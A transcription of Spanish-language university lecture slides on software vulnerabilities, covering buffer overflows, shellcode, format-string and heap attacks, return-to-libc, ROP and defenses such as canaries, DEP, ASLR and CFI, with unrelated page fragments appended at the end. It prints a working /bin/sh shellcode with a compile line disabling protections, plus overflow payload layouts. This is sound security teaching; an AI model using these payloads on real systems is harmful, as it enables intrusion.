Vulnerabilidades en el software

Tamaño: px
Comenzar la demostración a partir de la página:

Download "Vulnerabilidades en el software"

Transcripción

1 Vulnerabilidades en el software Facultad Politécnica UNA Maestría en TICs 2015 Énfasis Auditoría y Seguridad de la Información Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA

2 Contenido Los 25 errores más peligrosos en software (Según SANS - Instituto en US especializado en seguridad de la información y ciberseguridad SysAdmin-Audit-Networking-Security) Breve introducción a lenguaje C (en diapositiva separada) Buffer Overflow. Descripción. Defensas Prácticas para desarrollo de software seguro 2

3 25 top errores de SW más peligrosos Categoría: Interacción insegura entre componentes Error al preservar la estructura de la página web(xss) Error al preservar la estructura de la consulta SQL Neutralización impropia en elementos especial usados en comandos del S.O. (OS command injection) Cross Site Request Forgery (CSRF) Subida de archivos peligrosos no restringido Redirección de URL a sitios no confiables (Open Redirect). m 3

4 25 top errores de SW más peligrosos(2) Categoría: Manejo riesgoso de recursos Copia de buffer sin verificar el tamaño (buffer overflow) Limitación impropia de un camino a un directorio restringuido (Path traversal) Descarga de código sin chequeo de integridad Inclusión de funcionalidad desde lugares no confiables Uso de funciones potencialmente peligrosas gets(), strcpy(), strcat(), etc Acceso a buffers con longitudes de tamaño incorrectas Cálculo incorrecto del tamaño del buffer Formato de cadenas no controlado Integer overflow 4

5 25 top errores de SW más peligrosos(3) Categoría: Defensa porosa o insuficiente Olvido de autenticación en funciones críticas Falta de autorización Uso de credenciales fijas Olvido de encriptación en datos sensibles Confianza en entradas no verificadas en una decisión de seguridad Ejecución con privilegios innecesarios Control de acceso indebido (autorización) Uso de un algoritmo criptográfico inseguro o roto Restricción impropia a intentos excesivos de autenticación. Uso de Hash de una dirección sin SALT 5

6 Seguridad en el software Muchas vulnerabilidades resultan de una práctica de programación deficiente Consecuencia de insuficientes validaciones y chequeos de datos y códigos de error Calidad/Confiabilidad en el SW Concerniente con la falla accidental del programa como resultado de aleatoriedad, entrada no anticipada, interacción con el SO o uso de código incorrecto. Se mejora usando técnicas de diseño y testing para eliminar los bugs. Seguridad en el SW: Existe un atacante que utiliza entradas totalmente diferentes a las esperadas. Puede que no se detecten con las técnicas de testing usuales. 6

7 Bug & Exploit Un bug es un lugar donde el comportamiento de la ejecución real puede desviarse del comportamiento esperado. Un exploit es una entrada que dá al atacante una ventaja Método Secuestro del flujo de control (Control Flow Hijack) Denegación de Servicio Descubierta de Informacion Objetivo Ganar el control del puntero de instrucción %eip Causar que el programa se interrumpa o pare de dar servicio Fuga de información privada ej., contraseñas guardadas 7

8 Buffer overflow Una condición que ocurre cuando datos son escritos fuera del espacio destinado al buffer que debe contenerlos. Usualmente con lenguajes de bajo nivel como C y C++. Un programa normal con este bug simplemente aborta y se cancela. Consecuencias: Corrupción de los datos del programa, transferencia inesperada del control de ejecución, violación de acceso a memoria, ejecución de código del atacante. Tipos Basados en Stack Basados en Heap 8

9 Buffer overflow - historia Año Evento 1988 Morris (Robert) Internet Worm. Usó un bof para comprometer una versión vulnerable de fingerd en máquinas VAX. Enviaba una cadena especial al demonio finger, el cual causaba la ejecución de código que creaba una nueva copia. 10% de hosts afectados (del Internet de esa época) 1995 BOF en httpd 1.3 de NCSA descubierto y publicado en bugtraq por Thomas Lopatic 1996 Aleph One publicó Smashing the stack for fun & profit en el magazine Phrack, dando los pasos para explotar los BOF basados en stack CodeRed (motivó la carta de Bill Gates para crear una plataforma de sistemas seguros). Explotó un BOF en el servidor MS IIS máquinas afectadas en 14 horas 2003 SQL Slammer (worm). Explotó un BOF en MS SQL Server máquinas afectadas en 10 minutos Sasser worm. Explotó un BOF en MS Window 2000/XP en el servicio de subsistema de seguridad de autoridad local (Local Security Authority Subsytem service) 2014 BOF descubierto en código del servidor X11 server que estuvo latente en el fuente por 20 años!! 9

10 Buffer overflow tendencia 10

11 Secuestro de flujo de control Siempre Cómputo + Control shellcode (payload) relleno &buf Cómputo + control Inyección de código Return-to-libc Sobreescrita del Heap Return-oriented programming... El mismo principio pero diferentes mecanismos 11

12 Layout de memoria 12

13 Stack frame con funciones P y Q 13

14 Memory layout para Intel x86 0xFFFFFFFF 4GB Línea de comandos & entorno STACK int f() {int x;..} + Metadata Tiempo de ejecución HEAP malloc(sizeof(long)) Tiempo de compilación Datos No inicializados Datos Inicializados static int x; static const int y = 10; Text segment (código) 0x4c2 0x4c1 sub $0x224, %esp push %ecx 0x4bf mov %esp, %ebp 0x x4be.. push %ebp 14

15 Ejecución básica Binario Fetch, decode, execute Código Datos Procesador... Stack File system Heap Memoria del proceso Lectura & Escritura 15

16 Instrucciones asm x86 usuales 16

17 Registros usuales en x86 32 bit 16 bit 8 bit 8 bit Uso %eax %ax %ah %al Acumuladores usados para operaciones aritméticas y operaciones de I/O y ejecutar llamadas de interrupción %ebx %bx %bh %bl Acceso a memoria, paso de argumentos a llamadas del sistema y retorno de valores %ecx %cx %ch %cl Registros de contadores %edx %dx %dh %dl Registro de datos para operaciones aritméticas, llamadas de interrupción y operaciones de I/O %ebp %eip %esi %esp Puntero base que contiene la dirección del actual stack frame Puntero de instrucciones o contador de programa que contiene la dirección de la siguiente instrucción a ser ejecutada Registro de fuente índice de fuente usada como puntero para operaciones de arreglos o cadenas Puntero de Pila que contiene la dirección del tope de la pila 17

18 crecimiento cdecl Por defecto para Linux & gcc (orden de colocación de parámetros en la pila) int orange(int a, int b) Parametros { (llamador) char buf[16]; } int c, d; if(a > b) c = a; else c = b; d = red(c, buf); return d; Stack inicial de orange Creado antes de llamar a red Luego que red haya sido llamado b a return addr caller s ebp locals (buf, c, d 28 bytes if stored on stack) buf c return addr orange s ebp %ebp frame %esp stack 18

19 Proceso de llamada a una función Función llamadora Colocar argumentos en la pila (en orden reverso) Colocar el return address, es decir, la dirección de la instrucción que quieres que se ejecute luego que el control te retorne Saltar a la dirección de la función Función llamada Colocar el %ebp antiguo en la pila Hacer que %ebp sea ahora %esp Push de las variables locales en la Pila Retornando a la función Reasignar el stack frame previo %esp=%ebp ó %ebp=(%ebp) Saltar a la dirección de retorno (return address) %eip = 4(%esp) 19

20 Buffer overflow Qué pasa cuando escribimos fuera del buffer? Según el estándar el programa queda indefinido. void func(char * arg1 ) { char buffer[4]; strcpy(buffer, arg1);.. } int main() { char * msgstr = Authme! ; func(msgstr); } A u t h m e! \0 %ebp %eip &arg1 Buffer Crash!! (segmentation fault) 20

21 void func(char * arg1 ) { int authenticated = 0; } char buffer[4]; strcpy(buffer, arg1); if ( authenticated ).... int main() { } char * msgstr = Authme! ; func(msgstr); A u t h m e! \0 4d %ebp &eip &arg1 buffer authenticated Pasa la validación!! 21

22 Ejemplo básico de vulnerabilidad #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave 0x <+28>: ret 22 argv argc return addr caller s ebp buf (64 bytes) argv[1] buf %ebp %esp

23 123456\ #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave argv argc return addr caller s ebp buf (64 bytes) argv[1] 0x <+28>: ret 23 buf %ebp %esp

24 AAAA (64 in total) A x68. \xef\xbe\xad\xde #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave corrompido sobreescrito sobreescrito argv argc 0xDEADBEEF return addr caller s AAAA ebp buf (64 bytes) argv[1] 0x <+28>: ret 24 buf %ebp %esp

25 Desmontando el Frame - 1 #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> => 0x080483ff <+27>: leave corrompido sobrescrito sobrescrito leave 1. mov %ebp,%esp 2. pop %ebp 0x <+28>: ret 25 argv argc 0xDEADBEEF AAAA %esp y %ebp %esp

26 Desmontando el Frame - 2 #include <string.h> int main(int argc, char **argv) { } char buf[64]; strcpy(buf, argv[1]); Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave corrompido sobrescrito leave argv argc 0xDEADBEEF %ebp = AAAA 1. mov %ebp,%esp 2. pop %ebp %esp 0x <+28>: ret 26

27 Desmontando el Frame - 3 #include <string.h> int main(int argc, char **argv) { char buf[64]; strcpy(buf, argv[1]); } corrompido argv argc %esp Desensamblado de la función main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $72,%esp 0x080483ea <+6>: mov 12(%ebp),%eax 0x080483ed <+9>: mov 4(%eax),%eax 0x080483f0 <+12>: mov %eax,4(%esp) 0x080483f4 <+16>: lea -64(%ebp),%eax 0x080483f7 <+19>: mov %eax,(%esp) %eip = 0xDEADBEEF (probablemente crash) 0x080483fa <+22>: call 0x <strcpy@plt> 0x080483ff <+27>: leave 0x <+28>: ret 27

28 Inyección de código En el ejemplo anterior dimos una cadena estática pero éstas pueden venir de: Entrada de texto Variables de entorno Paquetes (red) Archivos 28

29 Inyección de código Desafíos Leer mi código en memoria Código de máquina Cuidado para construir (no debe tener \0) Qué código? Un intérprete de línea de comandos (shell) #include <string.h> int main() { } char * name[2]; name[0] = /bin/sh ; name[1] = NULL; execve(name[0],name,null); 29

30 shellcode Shellcode Tradicionalmente, inyectamos código ensamblador para exec( /bin/sh ) en el buffer. argv argc &buf %ebp 0x080483fa <+22>: call 0x080483ff <+27>: leave 0x <+28>: ret 0x <strcpy@plt> argv[1] buf %esp 30

31 Ejecutando una llamada al sistema 1. Colocar execve( /bin/sh, la llamada al sistema 0, 0); en eax 2. arg 1 en %ebx, arg 2 en %ecx, arg 3 en %edx 3. llamar int 0x80* 4. Llamada al sistema con resultado en %eax execve es 0xb addr. en %ebx, 0 en %ecx 31

32 Ejemplo de programa #include <stdio.h> #include <string.h> char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { printf ("Shellcode length : %d bytes\n", strlen (code)); int(*f)()=(int(*)())code; f(); } $ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c Autor: kernel_panik, 32

33 Ejecución xor ecx, ecx mul ecx push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp mov al, 0xb int 0x80 ebx esp ecx 0 eax 0x0b Registros 0x0 0x68 0x73 0x2f 0x2f 0x6e 0x69 0x62 0x0 h s / / n i b Shellcode esp 0x2f / Autor: kernel_panik, 33

34 Cómo conozco la dirección? Agregar la instrucción nop y mejoramos nuestra chance. Override %eip %ebp 0xbff nop nop nop \0x31\0xc9\0xf7.. buffer %eip shellcode 34 34

35 Resumen Para generar un exploit para un buffer overflow básico: Determinar el tamaño del stack frame sobre la cabeza del buffer Inundar el buffer con el tamaño correcto &buf padding shellcode cómputo + control 35

36 Otros ataques de memoria El que vimos se llama stack smashing (overflow) Constituye una violación de la integridad y también de la disponibilidad Otros tipos Format String Heap overflow Integer overflow Read overflow Stale memory 36

37 Ataques de cadenas de formato (format strings) Incorrecto int wrong(char *user) { printf(user); } OK int ok(char *user) { printf( %s, user); } No abusar de printf 37

38 Funciones de formateo de cadenas printf(char *fmt,...) especifica número y tipo de argumentos Número variable de argumentos Función printf fprintf sprintf vfprintf syslog setproctitle Propósito Imprime en stdout Imprime en un flujo FILE Imprime en una cadena Imprime en un flujo FILE desde va_list Escribe mensajes a system log sets argv[0] 38

39 Funciones con parámetros variables Son aquellas con aridad indefinida Soportado en muchos lenguajes C C++ Javascript Perl PHP En cdecl, el llamador es responsable de limpiar los argumentos Porqué? 39

40 Ejemplo simple Queremos implementar una función al estilo printf que solo imprime cuando la depuración esta activada void debug(char *key, char *fmt,...) { va_list ap; char buf[bufsize]; } if (!KeyInList(key)) return; va_start(ap, fmt); vsprintf(buf, fmt, ap); va_end(ap); printf( %s, buf); Limpiamos ap es el puntero al argumento Hacer que ap apunte al stack usando el último argumento fijo Llamar a vsprintf con args 40

41 callee caller Diagrama del stack para printf arg n arg 2 arg 1 return addr caller s ebp callee-save locals n-1 mo argumento 1 er argmento (va_list) Especificador de formato Va_list es un puntero al segundo argumento Cada formato especifica el tipo del actual argumento Conocido para hacer el salto al siguiente argumento 41

42 printf caller Ejemplo arg 4 42 arg 3 arg 2 arg 1 return addr caller s ebp callee-save locals Dirección de world Dirección de hello Dirección de %s %s %u char s1[] = hello ; char s2[] = world ; printf( %s %s %u, s1, s2, 42); 42

43 1. int foo(char *fmt) { 2. char buf[32]; 3. strcpy(buf, fmt); 4. printf(buf); 5. } d4 <foo>: 80483d4: push %ebp 80483d5: mov %esp,%ebp 80483d7: sub $0x28,%esp ; allocate 32 bytes on stack 80483da: mov 0x8(%ebp),%eax ; eax := M[ebp+8] - addr of fmt 80483dd: mov %eax,0x4(%esp) ; M[esp+4] := eax - push as arg e1: lea -0x20(%ebp),%eax ; eax := ebp-32 - addr of buf 80483e4: mov %eax,(%esp) ; M[esp] := eax - push as arg e7: call 80482fc <strcpy@plt> 80483ec: lea -0x20(%ebp),%eax ; eax := ebp-32 - addr of buf again 80483ef: mov %eax,(%esp) ; M[esp] := eax - push as arg f2: call c <printf@plt> 80483f7: leave 80483f8: ret 43

44 printf foo Mirando las direcciones return addr caller s ebp 1. int foo(char *fmt) { 2. char buf[32]; 3. strcpy(buf, fmt); => printf(buf); 5. } buf (32 bytes) stale arg 2 arg 1 return addr foo s ebp locals Note: buf esta abajo de printf en el stack, por tanto podemos caminar a el con el especificador correcto Que pasa si fmt es %x%s? 44

45 sprintf foo Overflow por el formateo de cadena return addr caller s ebp buf (32 bytes) arg 2 arg 1 return addr foo s ebp locals char buf[32]; sprintf(buf, user); Sobreescribir la dirección de retorno %36u\x3c\xd3\xff\xbf<nops><shellcode> Escribir 36 digitos decimales sobreescribiendo buf y el ebp del llamador Shellcode con nop(no operation) 45

46 Resumen de ataque por formato de cadena Usar un especificador de formato a fin de caminar por el stack hasta conseguir el formato adecuado. Usar el especificador para codificar la dirección Dos formas de sobreescribir: Usando %n (número de bytes escritos hasta aquí y lo deja en un parámetro) Usando sprintf para un overflow básico 46

47 Heap overflow Localizado usualmente bajo el código del programa. Relacionado al uso de estructura de datos dinámica No existe dirección de retorno Defensas: Hacer que heap no ejecutable Aleatorización de la asignación de memoria en el heap. 47

48 Heap overflow (ejemplo) typedef struct_vuln_struct { char buff[max_len]; int (*cmp) (char *, char *); } vuln; /* antes se hizo vuln * t = malloc(sizeof(vuln) );.. foo(t,..,.. );.. */ int foo ( vuln * s, char * one, char * two ) { strcpy(s->buff, one); strcat(s->buff, two); return s->cmp(s->buff, file://archivo ); } vulnerabilidad => strlen(one) + strlen(two) < MAX_LEN 48

49 Variantes de Heap overflow C++: Overflow sobre el objeto vtable que contiene los punteros a métodos padres. Overflow en objetos adyacentes No precisamente el buffer esta con un puntero a función pero es asignado cerca de uno en el heap. Overflow sobre metadatos (por ejemplo en estructura de datos). 49

50 Otros overflow Integer overflow Pueden llenar datos para: Modificar clave secreta, el estado de una variable, cadena que pueden ser interpretadas por otros programas. Read overflow Leer más allá del buffer, por ejemplo buscando claves Heartbleed (2014): servidores en Internet. Podían leer más allá del tamaño recibido y así obtener el contenido pasado del buffer(passwords, claves criptográficas, etc) Stale memory Utilizar un puntero que ya fue liberado (desreferenciar un puntero peligroso) Internet Explorer (2010): Ver boletin Link: 50

51 Return-to-libc Shellcode sin inyección de código 51

52 Ejemplo: Ataque de return-to-libc ret transfiere el control a system, el cual encuentra argumentos en el Stack Sobreescribir el return address con la dirección de una función en libc Configurar el ret. add. y los argumentos ret llamará a una función en libc No hay inyección de código ptr a argv /bin/sh argc return addr &system caller s ebp buf (64 bytes) argv[1] buf %ebp %esp 52

53 Defensas contra ataques de bajo nivel Cuestiones comunes en estos ataques Control de algunos datos usados por el programa Estos datos permiten acceso no intencional a alguna área de la memoria en el programa Memoria segura y tipo seguro Propiedades que si son satisfechas asegura que una aplicación es inmune a ataques de memoria. C y C++ no son de memoria segura por defecto. Defensas automáticas Canarios de Pila (stack canaries) ASLR (Address Space Layout Randomization) Ataque de ROP (return-oriented-programming) Defensa: Control de Integridad de Flujo (CFI) Codificación Segura 53

54 Memoria segura Solo crea punteros a través de formas estándar p = malloc(), p = &x, p = &buf[5], etc, Solo usa un puntero para acceder a memoria que pertenece al puntero. Dos conceptos asociados: Seguridad temporal. Seguridad espacial. 54

55 Seguridad espacial Se accede solo a lo que le pertenece al puntero Un puntero tiene tres propiedades (p, b, e) p = es el puntero actual b = es la base de la región de memoria que puede acceder e = es la extensión o límite de la región El acceso es permitido si b <= p <= e sizeof(tipo(p)) 55

56 Seguridad espacial Ejemplo 1 int x ; // sizeof(int) = 4 int * y = &x; // p = &x b=&x e=&x+4 int * z = y + 1; // p = &x+4 b=&x e=&x+4 *y = 3; // OK &x <= &x <= (&x+4)-4 *z = 3; // Mal &x <= &x+4 <= (&x+4)-4 56

57 Seguridad espacial Ejemplo 2 struct foo { char buf[4]; int x; } struct foo f = { cat, 5}; char * y = &f.buf; // p=b=&f.buf, e=&f.buf+4 y[3] = s ; // Ok p=&f.buf+3 <= (&f.buf+4)-1 y[4] = y ; // Mal p=&f.buf+4 <= (&f.buf+4)-1 57

58 Seguridad temporal Una violación a la seguridad temporal ocurre cuando se trata de acceder a memoria indefinida La seguridad espacial: Asegura que fue en una región legal La seguridad temporal Asegura que esa región es aún válida Memoria definida o indefinida Definida: significa asignada Indefinida: significa desasignada, no inicializada o no asignada. 58

59 Seguridad temporal (ejemplo) Usar un puntero ya liberado, retornar un puntero de una variable local. // puntero usado cuando ya no es válido int * p = malloc(sizeof(int)); *p = 5; free(p); printf( %d\n, *p); // puntero utilizado y no fue inicializado int * z ; *z = 5; 59

60 Memoria segura Los lenguajes modernos son de memoria segura y también de tipo seguro (Java, Python, Go, etc) Progreso para C/C++ CCured(2004): 1.5x más lento No chequea en librerías Compilador rechaza muchos programas seguros Softbound/CETS(2010): 2.16x más lento Completo chequeo Flexible A nivel de HW Intel MPX (feb/2015) Soporta chequeo mucho más rápido, registros con límites de punteros 60

61 Tipo seguro Cada objeto tiene asociado un tipo (int, puntero a int, puntero a función, etc) Operaciones en un objeto son siempre compatibles con el tipo del objeto Programas de tipo seguro no fallan en tiempo de ejecución. Tipo seguro es más fuerte que Memoria segura int (*cmp) (char *, char*); int * p = (int *) malloc (sizeof(int)); *p = 1; cmp = (int(*) (char *, char*)) p; cmp( hola, que tal ); Es de memoria segura pero no de tipo seguro 61

62 Tipo seguro Lenguajes de tipeo dinámico como Ruby o Python son de tipo seguro. Cada objeto tiene un solo tipo = Dinámico Cada operación en un objeto dinámico es permitido pero puede NO esta implementado Entonces ocurre una excepción!! Y esto es mucho mejor que dejar que se igual se continue!! 62

63 Tipos por seguridad Puede relacionar directamente a propiedades de seguridad. Se colocan invariantes en el programa Ejemplo: Java with Information Flow (JIF) //Alice es dueño, Bob puede leer int {Alice->Bob} x; // Alice y Chuck es dueño, Bob puede leer int {Alice->Bob, Chuck} y; x = y; // Ok y = x; // Mal 63

64 Tipo seguro Porqué no todos son de tipo seguro? Por cuestiones de performance sobre todo Hacia el futuro Nuevos lenguajes ayudarían a mantener iguales prestaciones de C y C++ pero siendo de tipo seguro Google => Go Mozilla => Rust Apple => Swift Podrían ser el futuro de la programación a bajo nivel. 64

65 Evitando los exploits Qué hacemos mientras C se vuelva de memoria segura? Dos defensas básicas Hacer que la explotación sea difícil Considerando los pasos, hacer que uno o más sean difíciles o imposibles. Evitar el bug por completo Prácticas de codificación segura Revisión de código / Testing por seguridad (análisis estáticos, dinámicos, test de penetración, etc) Estrategias son complementarias Evitar bugs pero agregar protección IDEA ya vista en el proceso de desarrollo software seguro 65

66 Recordando el stack smashing Pasos: Colocar código de máquina en memoria (sin bytes nulos) Obtener el %eip y apuntar el código de ataque Encontrar la dirección de retorno Cómo hacer estos pasos más dificultosos para el atacante? Mejor caso: cambiar librerías, compilador y S.O. No cambio el código El cambio/arreglo está en la arquitectura de diseño y no en el código 66

67 Primera técnica: Canarios Historia (porqué canarios?) Override %eip text %ebp %eip &arg1 &arg2 buffer Canario de stack Si el ataque sobreescribe el buffer también lo hace con el canario. En este caso se verifica el valor y sino coinciden se aborta Valor del canario: randómico usualmente. Protejo la colocación de código en el stack 67

68 Stack smashing (pasos) Pasos Colocar código de máquina en memoria (sin bytes nulos) Canarios Obtener el %eip y apuntar el código de ataque Defensa: hacer que el stack (y el heap)no sean ejecutables DEP (Data Execution Prevention) Linux, OS X, MS, ios, Android NX bit (No-Execute) XD (Executable disable) Intel EVP (Enhanced Virus protection) AMD XN (Execute Never) ARM 68

69 Defensa contra escritura de %eip ASLR (Address Space Layout Randomization) Randómicamente colocar librerías estándar y otros elementos en memoria, haciendo difícil de adivinar También previene encontrar el valor de retorno y el ataque return-to-libc Disponible en los S.O. modernos Linux (2004) OpenBSD (2006) Windows (2007) Mac OS (2007 => para librerias 2011 => para cualquier programa) Android (2012) IOS (2011) No todo es perfecto Solo desplaza el inicio(offset) de las áreas de memoria y no las localizaciones dentro de ellas Solo para librerías y a veces para programas (depende del compilador) Necesidad de suficiente aleatoriedad Se mostró que un ataque por fuerza bruta puede tener éxito. En 216 segundos en promedio se logró romper la defensa en un HW del Un HW de 64 bits puede proveer más seguridad 69

70 Como evito la protección ASLR Defensa: evitar uso de libc completamente Respuesta: Construir la funcionalidad necesaria con código que se encuentra en el área de text ROP (Return oriented programming) 70

71 ROP Inventada en 2007 por Hovav Shacham (paper académico) Idea: antes de usar una función de libc para ejecutar el shellcode, concatenar piezas de código existentes llamadas gadgets. Un gadget es una secuencia de instrucción que termina con al instrucción ret. La pila sirve como el código %esp : apunta al programa Un gadget invocado via ret Un gadget toma sus argumentos vía pop Cómo puedo encontrar un gadget para construir un exploit? Automatizar la búsqueda en el binario: https//github.com/0vercl0k/rp Son suficientes para hacer algo interesante? Shacham encontró código significante para libc (Turing Completo) E. Schwart (USENIX Security 2011) automatizó la creación de shellcode basado en gadgets Link 71

72 Blind ROP La aleatorización de la ubicación del código en una máquina de 64 bits hace que el ataque muy difícil. Respuesta: blind ROP Introducido en 2014 en IEEE Security Conference Permite escribir el exploit sin poseer el binario Requiere de un stack overflow y un servicio que se restaure luego del crash. Se basa en que los servidores generan un nuevo proceso luego del crash, sin aleatorización (por ejemplo el servidor nginx). Más información en 72

73 Resumen ataques y defensas 73

74 Detección de comportamiento malicioso Observar el comportamiento de un programa. Si no esta haciendo lo esperado entonces puede estar comprometido Desafíos Definir el comportamiento esperado Detectar desviaciones eficientemente Evitar que el detector se vea comprometido Control Flow Integrity (CFI) permite esto Componentes Control Flow Graph (CFG) Inline Reference Monitor (IRM) Inmutabilidad 74

75 Control Flow Integrity CFI clásico -> % de overhead en promedio 45% de overhead en el peor caso No modular (sin soporte de librerías dinámicas) Modular CFI (2014) 5% overhead en promedio 12% overhead en el peor caso Puede eliminar 95.75% de gadgets ROP Modular con compilación separada Drawback: solo C (LLVM compiler Link) Referencia de CFI (2005): Control Flow Integrity.Principles, Implementations and Applications 75

76 Código seguro en C Referencias/Guías: SEI CERT C Coding standard +CERT+C+Coding+Standard Incluye otros lenguajes C++, Java, Perl. Secure Programming HOWTO. David Wheeler Matt Bishop. Robust Programming Combinar con revisión de código y testing. 76

77 Regla: forzar la conformidad de la entrada char digit_to_char(int i) { char convert[] = ; if ( i < 0 i > 9 ) return? ; Conformidad de la entrada } return convert[i]; Buffer overflow Confiar en la entrada recibida es una fuente recurrente de vulnerabilidades 77

78 Regla: Mejor lanzar una excepción que ejecutar código malicioso Principio: Codificación robusta 78

79 Funciones comunes en C que son inseguras Función gets( char * str) sprintf(char * str, char * format, ) strcat(char * dest, char * src) strcpy(char * dest, char * src) Descripción Lee una línea de la entrada estándar en str Crea str de acuerdo al formato y variables Concatena el contendido de src a dest Copia src a dest vsprintf(char * str, char * fmt, va_list ap) Crea str de acuerdo al formato y variables 79

80 Reglas: Usar funciones de cadenas seguras strcpy => strlcpy strcat => strlcat strncat => strlcat strncpy => strlcpy sprintf => snprintf vsprintf => vsnprintf gets => fgets No olvidar terminador NUL Entender la aritmética de punteros Defensa contra punteros peligrosos Usar NULL luego de free() Manejar la memoria apropiadamente Usar librerías seguras Usar un asignador de memoria seguro (diferente a malloc seguramente) 80

81 Ejercicio #1 Dado el siguiente código, completar con la dirección apropiada del shellcode considerando una máquina de 32 bits. char shellcode[]= \x31\xc0 \x50 \x68 //sh \x68 /bin \x89\xe3 \x50 \x53 \x89\xe1 \x99 \xb0\x0b \xcd\x80 ; int function(){ } int * ret = (*ret) = (int) shellcode; int main() { function(); } 81

82 Ejercicio #2 Qué esta mal en este código? Cuál es el potencial problema de seguridad que encuentra? #define MAX_BUF 256 void BadCode(char * input ) { short len; char buf[max_buf]; len = strlen(input); } if ( len < MAX_BUF ) strcpy(buf, input); 82

83 Bibliografía/Referencias CWE/SANS Top 25 most dangerous software errors ( y cwe.mitre.org/top25) Belk M. et al. Fundamentals Practices for Secure Software Development. SAFECode 2 nd Edition W. Stalling & L. Brown. Computer Security. Principles and Practices. 2 nd Edition. Pearson Educ. Inc M. Howard, D. LeBlanc y J. Viega. 19 puntos críticos sobre seguridad de software. McGraw Hill.2007 Referencias puestas en cada diapositiva. 83

84 Gracias! Preguntas? 84

Entorno de Ejecución del Procesador Intel Pentium

Entorno de Ejecución del Procesador Intel Pentium Arquitectura de Ordenadores Arquitectura del Procesador Intel Pentium Abelardo Pardo abel@it.uc3m.es Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Entorno de Ejecución del Procesador

Más detalles

Curso: (62612) Diseño de aplicaciones seguras

Curso: (62612) Diseño de aplicaciones seguras Curso: (62612) Diseño de aplicaciones seguras Fernando Tricas García Departamento de Informática e Ingeniería de Sistemas Universidad de Zaragoza http://webdiis.unizar.es/~ftricas/ http://moodle.unizar.es/

Más detalles

Introduccion al Lenguaje C. Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia

Introduccion al Lenguaje C. Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia Introduccion al Lenguaje C Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia Introducción C es un lenguaje de programación creado en 1972 por

Más detalles

El lenguaje de Programación C. Fernando J. Pereda <ferdy@gentoo.org>

El lenguaje de Programación C. Fernando J. Pereda <ferdy@gentoo.org> El lenguaje de Programación C Fernando J. Pereda Por qué aprender C? Portable y muy extendido Estándar (C89, C99) El lenguaje de los sistemas Un lenguaje fácil (no, no es broma) Por

Más detalles

SOLUCION EXAMEN junio 2006

SOLUCION EXAMEN junio 2006 SOLUCION EXAMEN junio 2006 1. Explique razonadamente si las siguientes afirmaciones son verdaderas o falsas: I) (1 p) En UNIX únicamente se distinguen dos tipos de procesos: los procesos de usuario y los

Más detalles

Capítulo 1 Introducción a la Computación

Capítulo 1 Introducción a la Computación Capítulo 1 Introducción a la Computación 1 MEMORIA PRINCIPAL (RAM) DISPOSITIVOS DE ENTRADA (Teclado, Ratón, etc) C P U DISPOSITIVOS DE SALIDA (Monitor, Impresora, etc.) ALMACENAMIENTO (Memoria Secundaria:

Más detalles

7. Manejo de Archivos en C.

7. Manejo de Archivos en C. 7. Manejo de Archivos en C. Los datos que hemos tratado hasta el momento han residido en la memoria principal. Sin embargo, las grandes cantidades de datos se almacenan normalmente en un dispositivo de

Más detalles

MANUAL DE USUARIO. Webservice simple para la exportación rápida de información proveniente de una base de datos. Versión 0,1,1

